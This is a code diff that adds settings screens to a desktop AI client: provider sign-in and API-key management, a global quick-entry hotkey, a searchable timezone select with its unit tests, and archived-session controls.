+      docsUrl: meta?.docsUrl ?? primary[1].url ?? undefined,
+      hasAnySet: entries.some(([, i]) => i.is_set),
+      name,
+      primary,
+      priority: providerPriority(name)
+    })
+  }
+
+  return groups.sort((a, b) => a.priority - b.priority || a.name.localeCompare(b.name))
+}
+
+// Deliberately a near-1:1 replica of the first-run onboarding picker
+// (`Picker` in desktop-onboarding-overlay): same recommended card, same
+// Fireworks #2 quick-key row, same provider rows, same "Other providers"
+// disclosure, same OpenRouter quick-key row, and the same bottom-right
+// "I have an API key" affordance. The leaf cards are the exact shared
+// components, so the two surfaces stay visually identical. Selecting a
+// provider hands off to the shared onboarding overlay, which runs that
+// provider's real sign-in flow; the key affordances open the API-key
+// catalog below.
+function OAuthPicker({
+  disconnecting,
+  onDisconnect,
+  onTerminalDisconnect,
+  onWantApiKey,
+  providers
+}: {
+  disconnecting: null | string
+  onDisconnect: (provider: OAuthProvider) => void
+  onTerminalDisconnect: (provider: OAuthProvider) => void
+  onWantApiKey: () => void
+  providers: OAuthProvider[]
+}) {
+  const { t } = useI18n()
+  const p = t.settings.providers
+  const [showAll, setShowAll] = useState(false)
+  const ordered = useMemo(() => sortProviders(providers), [providers])
+
+  if (ordered.length === 0) {
+    return null
+  }
+
+  const select = (p: OAuthProvider) => startManualProviderOAuth(p.id)
+
+  const featured = ordered.find(p => p.id === FEATURED_ID && !p.status?.logged_in) ?? null
+  const rest = featured ? ordered.filter(p => p.id !== FEATURED_ID) : ordered
+  // Keep connected accounts grouped and always visible; only the unconnected
+  // providers hide behind the disclosure, so the page leads with what's set up.
+  // Both lists preserve `sortProviders` order (curated priority, then name).
+  const connected = rest.filter(p => p.status?.logged_in)
+  const others = rest.filter(p => !p.status?.logged_in)
+  const collapsible = others.length > 0
+  const showOthers = !collapsible || showAll
+
+  return (
+    <section className="mb-5 grid gap-2">
+      <div className="flex flex-wrap items-baseline justify-between gap-x-3">
+        <SettingsCategoryHeading icon={KeyRound} title={p.connectAccount} />
+        <Button
+          className="text-[length:var(--conversation-caption-font-size)]"
+          onClick={onWantApiKey}
+          size="inline"
+          type="button"
+          variant="textStrong"
+        >
+          {p.haveApiKey}
+        </Button>
+      </div>
+      <p className="-mt-2 mb-1 text-[length:var(--conversation-caption-font-size)] leading-(--conversation-caption-line-height) text-(--ui-text-tertiary)">
+        {p.intro}
+      </p>
+      {featured && <FeaturedProviderRow onSelect={select} provider={featured} />}
+      {/* Slot #2 — always visible, matching onboarding / CANONICAL_PROVIDERS. */}
+      <FireworksProviderRow onClick={onWantApiKey} />
+      {connected.length > 0 && (
+        <>
+          <GroupLabel>{p.connected}</GroupLabel>
+          {connected.map(p => (
+            <ConnectedProviderRow
+              disconnecting={disconnecting === p.id}
+              key={p.id}
+              onDisconnect={onDisconnect}
+              onSelect={select}
+              onTerminalDisconnect={onTerminalDisconnect}
+              provider={p}
+            />
+          ))}
+        </>
+      )}
+      {showOthers && (
+        <>
+          {connected.length > 0 && <GroupLabel>{p.otherProviders}</GroupLabel>}
+          {others.map(p => (
+            <ProviderRow key={p.id} onSelect={select} provider={p} />
+          ))}
+          <OpenRouterProviderRow onClick={onWantApiKey} />
+        </>
+      )}
+      {collapsible && (
+        <Button
+          className="py-1 text-[length:var(--conversation-caption-font-size)]"
+          onClick={() => setShowAll(v => !v)}
+          size="inline"
+          type="button"
+          variant="text"
+        >
+          {showAll ? p.collapse : connected.length > 0 ? p.connectAnother : p.otherProviders}
+          <ChevronDown className={cn('size-3.5 transition', showAll && 'rotate-180')} />
+        </Button>
+      )}
+    </section>
+  )
+}
+
+function ConnectedProviderRow({
+  disconnecting,
+  onDisconnect,
+  onSelect,
+  onTerminalDisconnect,
+  provider
+}: {
+  disconnecting: boolean
+  onDisconnect: (provider: OAuthProvider) => void
+  onSelect: (provider: OAuthProvider) => void
+  onTerminalDisconnect: (provider: OAuthProvider) => void
+  provider: OAuthProvider
+}) {
+  const { t } = useI18n()
+  const copy = t.settings.providers
+  const title = providerTitle(provider)
+  const Trail = provider.flow === 'external' ? Terminal : ChevronRight
+  // ClawCodex can clear this provider's creds via the API.
+  const canDisconnect = provider.disconnectable ?? provider.flow !== 'external'
+  // External (CLI-managed) provider ClawCodex can't clear via the API, but ships a
+  // command we can run in the embedded terminal (Electron shell only).
+  const terminalDisconnect = !canDisconnect && Boolean(provider.disconnect_command) && canRunInTerminal()
+  // Only fall back to a static "remove it elsewhere" hint when we offer no button.
+  const showHint = !canDisconnect && !terminalDisconnect
+
+  return (
+    <div className="group grid grid-cols-[minmax(0,1fr)_auto] items-center gap-1 rounded-[6px] transition-colors hover:bg-(--ui-control-hover-background)">
+      <RowButton className="min-w-0 px-3 py-2.5 text-left" onClick={() => onSelect(provider)}>
+        <div className="flex min-w-0 items-center gap-2">
+          <span className="truncate text-[length:var(--conversation-text-font-size)] font-semibold">{title}</span>
+          <span className="inline-flex shrink-0 items-center gap-1 bg-primary/10 px-2 py-0.5 text-xs font-medium text-primary">
+            <Check className="size-3" />
+            {copy.connected}
+          </span>
+        </div>
+        <p className="mt-1 text-xs leading-5 text-muted-foreground">{t.onboarding.flowSubtitles[provider.flow]}</p>
+        {showHint && (
+          <p className="mt-0.5 truncate text-[0.68rem] leading-5 text-muted-foreground/70">
+            {provider.flow === 'external' ? copy.removeExternalGeneric(title) : copy.removeKeyManaged(title)}
+          </p>
+        )}
+      </RowButton>
+      <div className="flex items-center gap-1 pr-2">
+        <Trail className="size-4 text-muted-foreground transition group-hover:text-foreground" />
+        {canDisconnect && (
+          <Button
+            aria-label={`${t.common.remove} ${title}`}
+            disabled={disconnecting}
+            onClick={() => onDisconnect(provider)}
+            size="icon-xs"
+            title={`${t.common.remove} ${title}`}
+            type="button"
+            variant="ghost"
+          >
+            {disconnecting ? <Loader2 className="size-3 animate-spin" /> : <Trash2 className="size-3" />}
+          </Button>
+        )}
+        {terminalDisconnect && (
+          <Button
+            aria-label={`${copy.disconnect} ${title}`}
+            onClick={() => onTerminalDisconnect(provider)}
+            size="icon-xs"
+            title={copy.disconnectInTerminal}
+            type="button"
+            variant="ghost"
+          >
+            <Trash2 className="size-3" />
+          </Button>
+        )}
+      </div>
+    </div>
+  )
+}
+
+function NoProviderKeys() {
+  const { t } = useI18n()
+
+  return (
+    <div className="grid min-h-32 place-items-center px-4 py-8 text-center text-[length:var(--conversation-caption-font-size)] text-muted-foreground">
+      {t.settings.providers.noProviderKeys}
+    </div>
+  )
+}
+
+// Surfaces the "Local / custom endpoint" entry point directly in the API-keys
+// tab so users can add any OpenAI-compatible endpoint (Zyphra, vLLM, Ollama…)
+// from the GUI. The composer pill and the providers "have an API key" affordance
+// both dead-end on the env-var-driven key catalog, which never lists a custom
+// endpoint — so without this row there is no reachable Desktop path to it.
+// The whole row is the button so the click target and a11y focus match the
+// visible area (the chevron + gutter are inside the button, not beside it).
+// Pass reason: null — the onboarding overlay renders an unmapped reason string
+// verbatim as a banner (see ReasonNotice in onboarding/index.tsx), and we don't
+// want a raw identifier like "providers-keys-tab" showing as literal text.
+function LocalEndpointRow({ onOpen }: { onOpen: (reason: null | string) => void }) {
+  const { t } = useI18n()
+  const copy = t.settings.providers.localEndpoint
+
+  return (
+    <RowButton
+      className="group grid grid-cols-[minmax(0,1fr)_auto] items-center gap-1 rounded-[6px] px-3 py-2.5 text-left transition-colors hover:bg-(--ui-control-hover-background)"
+      onClick={() => onOpen(null)}
+    >
+      <div className="flex min-w-0 flex-col gap-0.5">
+        <span className="truncate text-[length:var(--conversation-text-font-size)] font-semibold">{copy.title}</span>
+        <span className="truncate text-[length:var(--conversation-caption-font-size)] leading-5 text-muted-foreground">
+          {copy.description}
+        </span>
+      </div>
+      <ChevronRight className="size-4 text-muted-foreground transition group-hover:text-foreground" />
+    </RowButton>
+  )
+}
+
+export function ProvidersSettings({
+  onClose,
+  onConfigSaved,
+  onMainModelChanged,
+  onViewChange,
+  view
+}: ProvidersSettingsProps) {
+  const { t } = useI18n()
+  const { rowProps, vars } = useEnvCredentials()
+  const [oauthProviders, setOauthProviders] = useState<OAuthProvider[]>([])
+  const [openProvider, setOpenProvider] = useState<null | string>(null)
+  const [disconnecting, setDisconnecting] = useState<null | string>(null)
+  // Free-text filter for the API-keys view (provider name / env-var key / desc).
+  const [keyQuery, setKeyQuery] = useState('')
+  // The onboarding overlay owns the OAuth flow. Watch its `manual` flag so we
+  // re-read connection state when the user finishes (or dismisses) a sign-in
+  // they launched from this page — otherwise the cards keep their stale status.
+  const onboardingActive = useStore($desktopOnboarding).manual
+
+  const refreshOAuthProviders = useCallback(async () => {
+    // OAuth providers are best-effort — a failure here just hides the panel.
+    const { providers } = await listOAuthProviders()
+    setOauthProviders(providers)
+  }, [])
+
+  useEffect(() => {
+    let cancelled = false
+
+    void (async () => {
+      if (onboardingActive) {
+        return
+      }
+
+      try {
+        const { providers } = await listOAuthProviders()
+
+        if (!cancelled) {
+          setOauthProviders(providers)
+        }
+      } catch {
+        // Ignore — the OAuth panel just won't render.
+      }
+    })()
+
+    return () => void (cancelled = true)
+  }, [onboardingActive])
+
+  // External (CLI-managed) providers can't be cleared via the API by design —
+  // ClawCodex never deletes creds another tool owns behind a silent API call.
+  // Instead we run the documented removal command in the embedded terminal so
+  // the user sees exactly what executes, then return them to chat to watch it.
+  function handleTerminalDisconnect(provider: OAuthProvider) {
+    const command = provider.disconnect_command
+
+    if (!command) {
+      return
+    }
+
+    const name = providerTitle(provider)
+
+    if (!window.confirm(t.settings.providers.removeTerminalConfirm(name, command))) {
+      return
+    }
+
+    // Leave the settings overlay so the terminal pane (chat-only) is visible.
+    onClose()
+    runInTerminal(command)
+    notify({
+      kind: 'info',
+      title: t.settings.providers.removedTitle,
+      message: t.settings.providers.removeTerminalRunning(name)
+    })
+  }
+
+  async function handleDisconnect(provider: OAuthProvider) {
+    const name = providerTitle(provider)
+
+    if (!window.confirm(t.settings.providers.removeConfirm(name))) {
+      return
+    }
+
+    setDisconnecting(provider.id)
+
+    try {
+      await disconnectOAuthProvider(provider.id)
+      notify({
+        durationMs: 3_000,
+        kind: 'success',
+        title: t.settings.providers.removedTitle,
+        message: t.settings.providers.removedMessage(name)
+      })
+      await refreshOAuthProviders().catch(() => undefined)
+    } catch (err) {
+      notifyError(err, t.settings.providers.failedRemove(name))
+    } finally {
+      setDisconnecting(null)
+    }
+  }
+
+  if (!vars) {
+    return <SettingsSkeleton search sections={[{ rows: 6 }]} />
+  }
+
+  const hasOauth = oauthProviders.length > 0
+  // The sidebar subnav owns the Accounts/API-keys split now; with no OAuth
+  // providers there's nothing for the "Accounts" view to show, so fall to keys.
+  const showApiKeys = view === 'keys' || (!hasOauth && view !== 'custom-endpoints')
+
+  const keyGroups = buildProviderKeyGroups(vars)
+
+  if (showApiKeys) {
+    const q = normalize(keyQuery)
+
+    const visibleGroups = q
+      ? keyGroups.filter(group => {
+          const haystack = [group.name, group.description ?? '', group.primary[0], ...group.advanced.map(([k]) => k)]
+
+          return haystack.some(s => s.toLowerCase().includes(q))
+        })
+      : keyGroups
+
+    return (
+      <SettingsContent>
+        <LocalEndpointRow onOpen={startManualLocalEndpoint} />
+        {keyGroups.length > 0 ? (
+          <div className="grid gap-3">
+            <SearchField
+              aria-label={t.settings.providers.searchKeys}
+              containerClassName="w-full"
+              onChange={setKeyQuery}
+              placeholder={t.settings.providers.searchKeys}
+              value={keyQuery}
+            />
+            {visibleGroups.length > 0 ? (
+              <div className="grid gap-2">
+                {visibleGroups.map(group => (
+                  <ProviderKeyRows
+                    expanded={openProvider === group.name}
+                    group={group}
+                    key={group.name}
+                    onExpand={() => setOpenProvider(group.name)}
+                    onToggle={() => setOpenProvider(prev => (prev === group.name ? null : group.name))}
+                    rowProps={rowProps}
+                  />
+                ))}
+              </div>
+            ) : (
+              <div className="grid min-h-24 place-items-center px-4 py-6 text-center text-[length:var(--conversation-caption-font-size)] text-muted-foreground">
+                {t.settings.providers.noKeysMatch}
+              </div>
+            )}
+          </div>
+        ) : (
+          <NoProviderKeys />
+        )}
+      </SettingsContent>
+    )
+  }
+
+  if (view === 'custom-endpoints') {
+    return <CustomEndpointsSettings onConfigSaved={onConfigSaved} onMainModelChanged={onMainModelChanged} />
+  }
+
+  return (
+    <SettingsContent>
+      <OAuthPicker
+        disconnecting={disconnecting}
+        onDisconnect={provider => void handleDisconnect(provider)}
+        onTerminalDisconnect={handleTerminalDisconnect}
+        onWantApiKey={() => onViewChange('keys')}
+        providers={oauthProviders}
+      />
+    </SettingsContent>
+  )
+}
+
+interface ProviderKeyGroup {
+  advanced: [string, EnvVarInfo][]
+  description?: string
+  docsUrl?: string
+  hasAnySet: boolean
+  name: string
+  primary: [string, EnvVarInfo]
+  priority: number
+}
+
+interface ProvidersSettingsProps {
+  onClose: () => void
+  onConfigSaved?: () => void
+  onMainModelChanged?: (provider: string, model: string) => void
+  onViewChange: (view: ProviderView) => void
+  view: ProviderView
+}
diff --git a/ui-desktop/src/app/settings/quick-entry-settings.tsx b/ui-desktop/src/app/settings/quick-entry-settings.tsx
new file mode 100644
index 000000000..4e38531d1
--- /dev/null
+++ b/ui-desktop/src/app/settings/quick-entry-settings.tsx
@@ -0,0 +1,103 @@
+import { useStore } from '@nanostores/react'
+import { useEffect, useState } from 'react'
+
+import { Input } from '@/components/ui/input'
+import { useI18n } from '@/i18n'
+import {
+  $quickEntry,
+  canUseQuickEntry,
+  loadQuickEntrySettings,
+  QUICK_ENTRY_DEFAULT_SHORTCUT,
+  saveQuickEntrySettings
+} from '@/store/quick-entry'
+
+import { ListRow, ToggleRow } from './primitives'
+
+/**
+ * Quick Entry — the global-hotkey mini composer's settings rows.
+ *
+ * The MAIN process is authoritative (it owns the OS accelerator), so this reads
+ * the live registration state on mount and surfaces the failure the feature must
+ * never swallow: a chord another app already owns comes back `registered: false`
+ * with `error: 'taken'` and says so, right under the field.
+ */
+export function QuickEntrySettings() {
+  const { t } = useI18n()
+  const q = t.settings.quickEntry
+  const state = useStore($quickEntry)
+  // The field is a local draft: the accelerator is only committed on blur/Enter,
+  // so a half-typed chord ("Alt+") never tears down the live registration.
+  const [draft, setDraft] = useState<null | string>(null)
+
+  useEffect(() => {
+    void loadQuickEntrySettings()
+  }, [])
+
+  if (!canUseQuickEntry()) {
+    return null
+  }
+
+  const commit = () => {
+    const next = (draft ?? '').trim()
+    setDraft(null)
+
+    if (next && next !== state.shortcut) {
+      void saveQuickEntrySettings({ shortcut: next })
+    }
+  }
+
+  const status =
+    state.registered === null
+      ? null
+      : state.error === 'taken'
+        ? q.takenBy
+        : state.error === 'invalid'
+          ? q.invalidShortcut
+          : state.enabled && state.registered
+            ? q.active
+            : null
+
+  return (
+    <>
+      <ToggleRow
+        checked={state.enabled}
+        description={q.enabledDesc}
+        label={q.enabledTitle}
+        onChange={enabled => void saveQuickEntrySettings({ enabled })}
+      />
+      <ListRow
+        action={
+          <Input
+            aria-label={q.shortcutTitle}
+            disabled={!state.enabled}
+            onBlur={commit}
+            onChange={event => setDraft(event.target.value)}
+            onKeyDown={event => {
+              if (event.key === 'Enter') {
+                event.preventDefault()
+                commit()
+              }
+            }}
+            placeholder={QUICK_ENTRY_DEFAULT_SHORTCUT}
+            value={draft ?? state.shortcut}
+          />
+        }
+        below={
+          status && (
+            <div
+              className={
+                state.error
+                  ? 'mt-1 text-[length:var(--conversation-caption-font-size)] text-amber-500/90'
+                  : 'mt-1 text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)'
+              }
+            >
+              {status}
+            </div>
+          )
+        }
+        description={q.shortcutDesc}
+        title={q.shortcutTitle}
+      />
+    </>
+  )
+}
diff --git a/ui-desktop/src/app/settings/searchable-select.test.tsx b/ui-desktop/src/app/settings/searchable-select.test.tsx
new file mode 100644
index 000000000..7aea24cd5
--- /dev/null
+++ b/ui-desktop/src/app/settings/searchable-select.test.tsx
@@ -0,0 +1,137 @@
+import { cleanup, fireEvent, render, screen } from '@testing-library/react'
+import { afterEach, beforeAll, describe, expect, it, vi } from 'vitest'
+
+import type { ConfigFieldSchema } from '@/types/clawcodex'
+
+import { ConfigField } from './config-field'
+import { rankSearchOption, SearchableSelect } from './searchable-select'
+
+// Radix Popover + cmdk call scrollIntoView / pointer-capture / ResizeObserver
+// APIs jsdom lacks.
+class TestResizeObserver {
+  disconnect() {}
+  observe() {}
+  unobserve() {}
+}
+
+beforeAll(() => {
+  vi.stubGlobal('ResizeObserver', TestResizeObserver)
+  Element.prototype.scrollIntoView = vi.fn()
+  Element.prototype.hasPointerCapture = vi.fn(() => false)
+  Element.prototype.releasePointerCapture = vi.fn()
+})
+
+afterEach(() => {
+  cleanup()
+  vi.clearAllMocks()
+})
+
+describe('rankSearchOption', () => {
+  it('ranks a final-segment match above a mid-path match', () => {
+    // "york" hits the city segment of America/New_York (score 2) but only a
+    // mid-path segment of America/New_York/Special (score 1).
+    expect(rankSearchOption('America/New_York', 'york')).toBe(2)
+    expect(rankSearchOption('America/New_York/Special', 'york')).toBe(1)
+    expect(rankSearchOption('America/New_York', 'york')).toBeGreaterThan(
+      rankSearchOption('America/New_York/Special', 'york')
+    )
+  })
+
+  it('is case-insensitive', () => {
+    expect(rankSearchOption('Asia/Kolkata', 'KOLKATA')).toBe(2)
+    expect(rankSearchOption('ASIA/KOLKATA', 'kolkata')).toBe(2)
+  })
+
+  it('scores a substring match anywhere as 1', () => {
+    expect(rankSearchOption('America/New_York', 'amer')).toBe(1)
+  })
+
+  it('scores a slashless option by plain substring', () => {
+    expect(rankSearchOption('UTC', 'ut')).toBe(1)
+    expect(rankSearchOption('UTC', 'xyz')).toBe(0)
+  })
+
+  it('scores a non-match as 0', () => {
+    expect(rankSearchOption('Europe/Berlin', 'tokyo')).toBe(0)
+  })
+})
+
+describe('SearchableSelect', () => {
+  const options = ['America/New_York', 'Asia/Kolkata', 'Europe/Berlin', 'UTC']
+
+  it('opens, filters, and selects an option', () => {
+    const onChange = vi.fn()
+
+    render(<SearchableSelect onChange={onChange} options={options} placeholder="Search…" value="" />)
+
+    fireEvent.click(screen.getByRole('combobox'))
+    fireEvent.change(screen.getByPlaceholderText('Search…'), { target: { value: 'kolkata' } })
+    fireEvent.click(screen.getByText('Asia/Kolkata'))
+
+    expect(onChange).toHaveBeenCalledWith('Asia/Kolkata')
+  })
+
+  it('renders the clear item when clearLabel is set and selecting it resets to blank', () => {
+    const onChange = vi.fn()
+
+    render(<SearchableSelect clearLabel="System default" onChange={onChange} options={options} value="Asia/Kolkata" />)
+
+    fireEvent.click(screen.getByRole('combobox'))
+    fireEvent.click(screen.getByText('System default'))
+
+    expect(onChange).toHaveBeenCalledWith('')
+  })
+
+  it('omits the clear item without clearLabel', () => {
+    render(<SearchableSelect onChange={vi.fn()} options={options} value="" />)
+
+    fireEvent.click(screen.getByRole('combobox'))
+
+    expect(screen.queryByText('System default')).toBeNull()
+  })
+
+  it('shows the placeholder when the value is blank', () => {
+    render(<SearchableSelect onChange={vi.fn()} options={options} placeholder="Search…" value="" />)
+
+    expect(screen.getByRole('combobox').textContent).toContain('Search…')
+  })
+})
+
+describe('ConfigField searchable routing', () => {
+  const searchableSchema: ConfigFieldSchema = {
+    type: 'select',
+    searchable: true,
+    clearable: true,
+    options: ['America/New_York', 'UTC']
+  }
+
+  it('routes searchable select schemas to SearchableSelect, not a free-text input', () => {
+    const { container } = render(
+      <ConfigField onChange={vi.fn()} schema={searchableSchema} schemaKey="timezone" value="UTC" />
+    )
+
+    // The searchable trigger renders; the generic free-text <Input> does not.
+    expect(container.querySelector('[data-slot="searchable-select-trigger"]')).not.toBeNull()
+    expect(container.querySelector('input[type="text"]')).toBeNull()
+  })
+
+  it('keeps plain string schemas on the free-text input', () => {
+    const { container } = render(
+      <ConfigField onChange={vi.fn()} schema={{ type: 'string' }} schemaKey="some.other.key" value="hello" />
+    )
+
+    expect(container.querySelector('[data-slot="searchable-select-trigger"]')).toBeNull()
+    expect(screen.getByDisplayValue('hello')).not.toBeNull()
+  })
+
+  it('surfaces the clear item via schema.clearable and resets to blank', () => {
+    const onChange = vi.fn()
+
+    render(<ConfigField onChange={onChange} schema={searchableSchema} schemaKey="timezone" value="UTC" />)
+
+    fireEvent.click(screen.getByRole('combobox'))
+    fireEvent.click(screen.getByText('System default'))
+
+    expect(onChange).toHaveBeenCalledWith('')
+  })
+})
diff --git a/ui-desktop/src/app/settings/searchable-select.tsx b/ui-desktop/src/app/settings/searchable-select.tsx
new file mode 100644
index 000000000..8f679b48b
--- /dev/null
+++ b/ui-desktop/src/app/settings/searchable-select.tsx
@@ -0,0 +1,115 @@
+import { useCallback, useRef, useState } from 'react'
+
+import { Codicon } from '@/components/ui/codicon'
+import { Command, CommandEmpty, CommandGroup, CommandInput, CommandItem, CommandList } from '@/components/ui/command'
+import { controlVariants } from '@/components/ui/control'
+import { Popover, PopoverContent, PopoverTrigger } from '@/components/ui/popover'
+import { cn } from '@/lib/utils'
+
+/**
+ * cmdk filter score for one option. Case-insensitive substring match, with
+ * the final path segment (after the last "/") ranked above matches anywhere
+ * else so "york" ranks "America/New_York" over "America/New_York/Special".
+ * Exported for tests.
+ */
+export function rankSearchOption(option: string, search: string): number {
+  const lower = search.toLowerCase()
+  const itemLower = option.toLowerCase()
+  const slash = itemLower.lastIndexOf('/')
+
+  if (slash !== -1 && itemLower.slice(slash + 1).includes(lower)) {
+    return 2
+  }
+
+  if (itemLower.includes(lower)) {
+    return 1
+  }
+
+  return 0
+}
+
+/**
+ * Searchable select for large option lists (e.g. ~590 IANA timezones).
+ * Built on Popover + cmdk Command — the same stack as Shadcn's Combobox.
+ *
+ * The trigger renders like the existing closed `<Select>` but opens into a
+ * searchable Command palette. Closed-world only: the user must pick from the
+ * list; arbitrary text entry is not supported.
+ *
+ * `ConfigField` routes here when `schema.searchable === true`.
+ */
+export function SearchableSelect({
+  value,
+  onChange,
+  options,
+  placeholder = 'Search…',
+  emptyMessage = 'No results found.',
+  clearLabel
+}: {
+  value: string
+  onChange: (value: string) => void
+  options: string[]
+  placeholder?: string
+  emptyMessage?: string
+  /** When set, prepends a "clear" item that sets the value to ''.
+   *  Matches the existing <Select> pattern of EMPTY_SELECT_VALUE + "(none)". */
+  clearLabel?: string
+}) {
+  const [open, setOpen] = useState(false)
+  const triggerRef = useRef<HTMLButtonElement>(null)
+
+  const handleSelect = useCallback(
+    (selected: string) => {
+      onChange(selected)
+      setOpen(false)
+    },
+    [onChange]
+  )
+
+  const displayValue = value !== '' && value !== undefined ? value : placeholder
+
+  return (
+    <Popover onOpenChange={setOpen} open={open}>
+      <PopoverTrigger asChild>
+        <button
+          aria-expanded={open}
+          aria-haspopup="listbox"
+          className={cn(
+            controlVariants(),
+            'flex items-center justify-between gap-2 whitespace-nowrap',
+            !value && 'text-muted-foreground'
+          )}
+          data-slot="searchable-select-trigger"
+          ref={triggerRef}
+          role="combobox"
+          type="button"
+        >
+          <span className="truncate">{displayValue}</span>
+          <Codicon className="shrink-0 opacity-60" name={open ? 'chevron-up' : 'chevron-down'} size="1rem" />
+        </button>
+      </PopoverTrigger>
+      <PopoverContent align="start" className="w-[var(--radix-popover-trigger-width)] p-0">
+        <Command filter={rankSearchOption}>
+          <CommandInput autoFocus placeholder={placeholder} />
+          <CommandList>
+            <CommandEmpty>{emptyMessage}</CommandEmpty>
+            <CommandGroup>
+              {clearLabel && (
+                <CommandItem onSelect={() => handleSelect('')} value={clearLabel}>
+                  <Codicon className={cn('mr-2 size-4', value === '' ? 'opacity-100' : 'opacity-0')} name="check" />
+                  {clearLabel}
+                </CommandItem>
+              )}
+              {options.map(option => (
+                <CommandItem key={option} onSelect={() => handleSelect(option)} value={option}>
+                  <Codicon className={cn('mr-2 size-4', option === value ? 'opacity-100' : 'opacity-0')} name="check" />
+                  {option}
+                </CommandItem>
+              ))}
+            </CommandGroup>
+          </CommandList>
+        </Command>
+      </PopoverContent>
+    </Popover>
+  )
+}
diff --git a/ui-desktop/src/app/settings/sessions-settings.tsx b/ui-desktop/src/app/settings/sessions-settings.tsx
new file mode 100644
index 000000000..7b2ef9642
--- /dev/null
+++ b/ui-desktop/src/app/settings/sessions-settings.tsx
@@ -0,0 +1,391 @@
+import { useCallback, useEffect, useState } from 'react'
+
+import {
+  deleteSession,
+  getClawCodexConfigRecord,
+  listAllProfileSessions,
+  saveClawCodexConfig,
+  setSessionArchived
+} from '@/clawcodex'
+import { Button } from '@/components/ui/button'
+import { Input } from '@/components/ui/input'
+import { Tip } from '@/components/ui/tooltip'
+import { useI18n } from '@/i18n'
+import { sessionTitle } from '@/lib/chat-runtime'
+import { pathLeaf } from '@/lib/display-path'
+import { triggerHaptic } from '@/lib/haptics'
+import { Archive, ArchiveOff, FolderOpen, Loader2, Trash2 } from '@/lib/icons'
+import { notify, notifyError } from '@/store/notifications'
+import { untombstoneSessions } from '@/store/projects'
+import { applyConfiguredDefaultProjectDir, ensureDefaultWorkspaceCwd, setSessions } from '@/store/session'
+import type { ClawCodexConfigRecord, SessionInfo } from '@/types/clawcodex'
+
+import { EmptyState, ListRow, SectionHeading, SettingsContent, SettingsSkeleton, ToggleRow } from './primitives'
+import { useDeepLinkHighlight } from './use-deep-link-highlight'
+
+const DEFAULT_AUTO_ARCHIVE_DAYS = 3
+
+const ARCHIVED_FETCH_LIMIT = 200
+
+export function SessionsSettings() {
+  const { t } = useI18n()
+  const s = t.settings.sessions
+  const [sessions, setLocalSessions] = useState<SessionInfo[]>([])
+  const [loading, setLoading] = useState(true)
+  const [busyId, setBusyId] = useState<string | null>(null)
+
+  const load = useCallback(async () => {
+    setLoading(true)
+
+    try {
+      const result = await listAllProfileSessions(ARCHIVED_FETCH_LIMIT, 0, 'only')
+      setLocalSessions(result.sessions)
+    } catch (err) {
+      notifyError(err, s.failedLoad)
+    } finally {
+      setLoading(false)
+    }
+  }, [s.failedLoad])
+
+  useEffect(() => {
+    void load()
+  }, [load])
+
+  const unarchive = useCallback(
+    async (session: SessionInfo) => {
+      setBusyId(session.id)
+
+      try {
+        await setSessionArchived(session.id, false, session.profile)
+        setLocalSessions(prev => prev.filter(s => s.id !== session.id))
+        // Surface it again in the sidebar without waiting for a full refresh, and
+        // lift any optimistic eviction so the grouped tree shows it again too.
+        untombstoneSessions([session.id, session._lineage_root_id])
+        setSessions(prev => [{ ...session, archived: false }, ...prev.filter(s => s.id !== session.id)])
+        triggerHaptic('selection')
+        notify({ durationMs: 2_000, kind: 'success', message: s.restored })
+      } catch (err) {
+        notifyError(err, s.unarchiveFailed)
+      } finally {
+        setBusyId(null)
+      }
+    },
+    [s]
+  )
+
+  const remove = useCallback(
+    async (session: SessionInfo) => {
+      if (!window.confirm(s.deleteConfirm(sessionTitle(session)))) {
+        return
+      }
+
+      setBusyId(session.id)
+
+      try {
+        await deleteSession(session.id, session.profile)
+        setLocalSessions(prev => prev.filter(s => s.id !== session.id))
+        triggerHaptic('warning')
+      } catch (err) {
+        notifyError(err, s.deleteFailed)
+      } finally {
+        setBusyId(null)
+      }
+    },
+    [s]
+  )
+
+  useDeepLinkHighlight({
+    elementId: id => `archived-session-${id}`,
+    param: 'session',
+    ready: id => !loading && sessions.some(session => session.id === id)
+  })
+
+  if (loading) {
+    return <SettingsSkeleton sections={[{ rows: 1 }, { heading: true, rows: 4 }]} />
+  }
+
+  return (
+    <SettingsContent>
+      <DefaultProjectDirSetting />
+
+      <AutoArchiveSetting />
+
+      <SectionHeading
+        icon={Archive}
+        meta={sessions.length ? String(sessions.length) : undefined}
+        title={s.archivedTitle}
+      />
+      <p className="mb-2 text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+        {s.archivedIntro}
+      </p>
+
+      {sessions.length === 0 ? (
+        <EmptyState description={s.emptyArchivedDesc} title={s.emptyArchivedTitle} />
+      ) : (
+        <div className="grid gap-1">
+          {sessions.map(session => {
+            const label = pathLeaf(session.cwd)
+            const busy = busyId === session.id
+
+            return (
+              <div className="scroll-mt-6 rounded-lg" id={`archived-session-${session.id}`} key={session.id}>
+                <ListRow
+                  action={
+                    <div className="flex items-center gap-1.5">
+                      <Button
+                        disabled={busy}
+                        onClick={() => void unarchive(session)}
+                        size="sm"
+                        type="button"
+                        variant="textStrong"
+                      >
+                        {busy ? <Loader2 className="size-3.5 animate-spin" /> : <ArchiveOff className="size-3.5" />}
+                        <span>{s.unarchive}</span>
+                      </Button>
+                      <Tip label={s.deletePermanently}>
+                        <Button
+                          aria-label={s.deletePermanently}
+                          className="text-muted-foreground hover:text-destructive"
+                          disabled={busy}
+                          onClick={() => void remove(session)}
+                          size="icon"
+                          type="button"
+                          variant="ghost"
+                        >
+                          <Trash2 className="size-3.5" />
+                        </Button>
+                      </Tip>
+                    </div>
+                  }
+                  description={session.preview || undefined}
+                  hint={label ? `${label} · ${s.messages(session.message_count)}` : s.messages(session.message_count)}
+                  title={sessionTitle(session)}
+                />
+              </div>
+            )
+          })}
+        </div>
+      )}
+    </SettingsContent>
+  )
+}
+
+// Opt-in retention: soft-hide chats untouched for N days. The policy itself
+// (last-activity sweep, pin exemption) lives in the backend
+// (sessions.auto_archive in config.yaml + SessionDB.maybe_auto_archive); this
+// just toggles the config keys, so CLI / gateway / Desktop all honour one
+// setting. Pins are exempt on the backend, so pinned chats survive regardless.
+function AutoArchiveSetting() {
+  const { t } = useI18n()
+  const s = t.settings.sessions
+  const [config, setConfig] = useState<ClawCodexConfigRecord | null>(null)
+  const [enabled, setEnabled] = useState(false)
+  const [days, setDays] = useState(DEFAULT_AUTO_ARCHIVE_DAYS)
+
+  useEffect(() => {
+    // Config REST is only reachable through the Electron bridge; skip in
+    // non-Electron contexts (tests/storybook) rather than throwing.
+    if (!window.clawcodexDesktop) {
+      return
+    }
+
+    let alive = true
+
